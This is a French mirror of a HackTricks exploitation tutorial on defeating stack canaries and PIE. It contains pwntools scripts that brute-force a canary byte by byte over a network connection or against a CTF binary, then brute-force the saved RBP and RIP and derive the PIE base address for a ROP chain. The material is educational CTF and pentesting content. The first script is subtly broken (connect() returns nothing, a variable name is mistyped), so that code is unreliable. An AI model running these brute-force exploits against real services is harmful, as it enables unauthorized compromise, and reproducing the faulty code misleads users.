mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 15:12:11 +00:00
173 lines
11 KiB
Markdown
173 lines
11 KiB
Markdown
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
**Si vous êtes confronté à un binaire protégé par un canari et PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.**
|
|
|
|
![](<../../.gitbook/assets/image (144).png>)
|
|
|
|
{% hint style="info" %}
|
|
Notez que **`checksec`** pourrait ne pas trouver qu'un binaire est protégé par un canari s'il a été compilé de manière statique et qu'il n'est pas capable d'identifier la fonction.\
|
|
Cependant, vous pouvez le remarquer manuellement si vous trouvez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant de sortir.
|
|
{% endhint %}
|
|
|
|
# Brute force Canary
|
|
|
|
La meilleure façon de contourner un simple canari est si le binaire est un programme **qui crée des processus enfants à chaque fois que vous établissez une nouvelle connexion** avec lui (service réseau), car chaque fois que vous vous connectez à lui, **le même canari sera utilisé**.
|
|
|
|
Ensuite, la meilleure façon de contourner le canari est simplement de le **forcer par caractère**, et vous pouvez savoir si le byte de canari deviné était correct en vérifiant si le programme a planté ou continue son flux régulier. Dans cet exemple, la fonction **force un canari de 8 octets (x64)** et distingue entre un byte correctement deviné et un byte incorrect simplement en **vérifiant** si une **réponse** est renvoyée par le serveur (une autre façon dans **d'autres situations** pourrait être d'utiliser un **try/except**):
|
|
|
|
## Exemple 1
|
|
|
|
Cet exemple est implémenté pour 64 bits mais pourrait être facilement implémenté pour 32 bits.
|
|
```python
|
|
from pwn import *
|
|
|
|
def connect():
|
|
r = remote("localhost", 8788)
|
|
|
|
def get_bf(base):
|
|
canary = ""
|
|
guess = 0x0
|
|
base += canary
|
|
|
|
while len(canary) < 8:
|
|
while guess != 0xff:
|
|
r = connect()
|
|
|
|
r.recvuntil("Username: ")
|
|
r.send(base + chr(guess))
|
|
|
|
if "SOME OUTPUT" in r.clean():
|
|
print "Guessed correct byte:", format(guess, '02x')
|
|
canary += chr(guess)
|
|
base += chr(guess)
|
|
guess = 0x0
|
|
r.close()
|
|
break
|
|
else:
|
|
guess += 1
|
|
r.close()
|
|
|
|
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
|
return base
|
|
|
|
canary_offset = 1176
|
|
base = "A" * canary_offset
|
|
print("Brute-Forcing canary")
|
|
base_canary = get_bf(base) #Get yunk data + canary
|
|
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|
```
|
|
## Exemple 2
|
|
|
|
Ceci est implémenté pour 32 bits, mais cela pourrait être facilement modifié pour 64 bits.\
|
|
Notez également que pour cet exemple, **le programme s'attend d'abord à un octet pour indiquer la taille de l'entrée** et la charge utile.
|
|
```python
|
|
from pwn import *
|
|
|
|
# Here is the function to brute force the canary
|
|
def breakCanary():
|
|
known_canary = b""
|
|
test_canary = 0x0
|
|
len_bytes_to_read = 0x21
|
|
|
|
for j in range(0, 4):
|
|
# Iterate up to 0xff times to brute force all posible values for byte
|
|
for test_canary in range(0xff):
|
|
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
|
|
|
# Send the current input size
|
|
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
|
|
|
# Send this iterations canary
|
|
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
|
|
|
# Scan in the output, determine if we have a correct value
|
|
output = target.recvuntil(b"exit.")
|
|
if b"YUM" in output:
|
|
# If we have a correct value, record the canary value, reset the canary value, and move on
|
|
print(" - next byte is: " + hex(test_canary))
|
|
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
|
len_bytes_to_read += 1
|
|
break
|
|
|
|
# Return the canary
|
|
return known_canary
|
|
|
|
# Start the target process
|
|
target = process('./feedme')
|
|
#gdb.attach(target)
|
|
|
|
# Brute force the canary
|
|
canary = breakCanary()
|
|
log.info(f"The canary is: {canary}")
|
|
```
|
|
# Afficher le Canary
|
|
|
|
Une autre façon de contourner le canary est de **l'afficher**.\
|
|
Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** pointant vers une **partie** du **débordement de pile**. L'attaquant sait que le **premier octet du canary est un octet nul** (`\x00`) et que le reste du canary est composé d'octets **aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canary**.\
|
|
Ensuite, l'attaquant **appelle la fonctionnalité puts** sur le milieu de la charge utile qui **affichera tout le canary** (sauf le premier octet nul).\
|
|
Avec ces informations, l'attaquant peut **créer et envoyer une nouvelle attaque** en connaissant le canary (dans la même session de programme)
|
|
|
|
Évidemment, cette tactique est très **limitée** car l'attaquant doit être capable d'**afficher** le **contenu** de sa **charge utile** pour **extraire** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**.\
|
|
Exemple de CTF : [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
|
|
|
# PIE
|
|
|
|
Pour contourner le PIE, vous devez **fuir une adresse**. Et si le binaire ne fuit pas d'adresses, le mieux à faire est de **forcer le RBP et le RIP enregistrés dans la pile** dans la fonction vulnérable.\
|
|
Par exemple, si un binaire est protégé à la fois par un **canary** et **PIE**, vous pouvez commencer à forcer le canary, puis les **8 octets suivants** (x64) seront le **RBP** enregistré et les **8 octets suivants** seront le **RIP** enregistré.
|
|
|
|
Pour forcer le RBP et le RIP à partir du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme produit quelque chose ou s'il ne plante pas. La **même fonction** que celle fournie pour forcer le canary peut être utilisée pour forcer le RBP et le RIP :
|
|
```python
|
|
print("Brute-Forcing RBP")
|
|
base_canary_rbp = get_bf(base_canary)
|
|
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
|
print("Brute-Forcing RIP")
|
|
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
|
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
|
```
|
|
## Obtenir l'adresse de base
|
|
|
|
La dernière chose dont vous avez besoin pour vaincre le PIE est de calculer des adresses utiles à partir des adresses divulguées : le **RBP** et le **RIP**.
|
|
|
|
À partir du **RBP**, vous pouvez calculer **où vous écrivez votre shell dans la pile**. Cela peut être très utile pour savoir où vous allez écrire la chaîne _"/bin/sh\x00"_ à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un **point d'arrêt après avoir divulgué le RBP** et vérifier **où se trouve votre shellcode**, puis vous pouvez calculer la distance entre le shellcode et le RBP :
|
|
```python
|
|
INI_SHELLCODE = RBP - 1152
|
|
```
|
|
À partir du **RIP**, vous pouvez calculer l'**adresse de base du binaire PIE** dont vous aurez besoin pour créer une **chaîne ROP valide**.\
|
|
Pour calculer l'adresse de base, il suffit de faire `objdump -d vunbinary` et de vérifier les dernières adresses de désassemblage :
|
|
|
|
![](<../../.gitbook/assets/image (145).png>)
|
|
|
|
Dans cet exemple, vous pouvez voir qu'il ne faut que **1 byte et demi** pour localiser tout le code, puis l'adresse de base dans cette situation sera le **RIP divulgué mais se terminant par "000"**. Par exemple, si vous avez divulgué _0x562002970**ecf**_, l'adresse de base est _0x562002970**000**_.
|
|
```python
|
|
elf.address = RIP - (RIP & 0xfff)
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|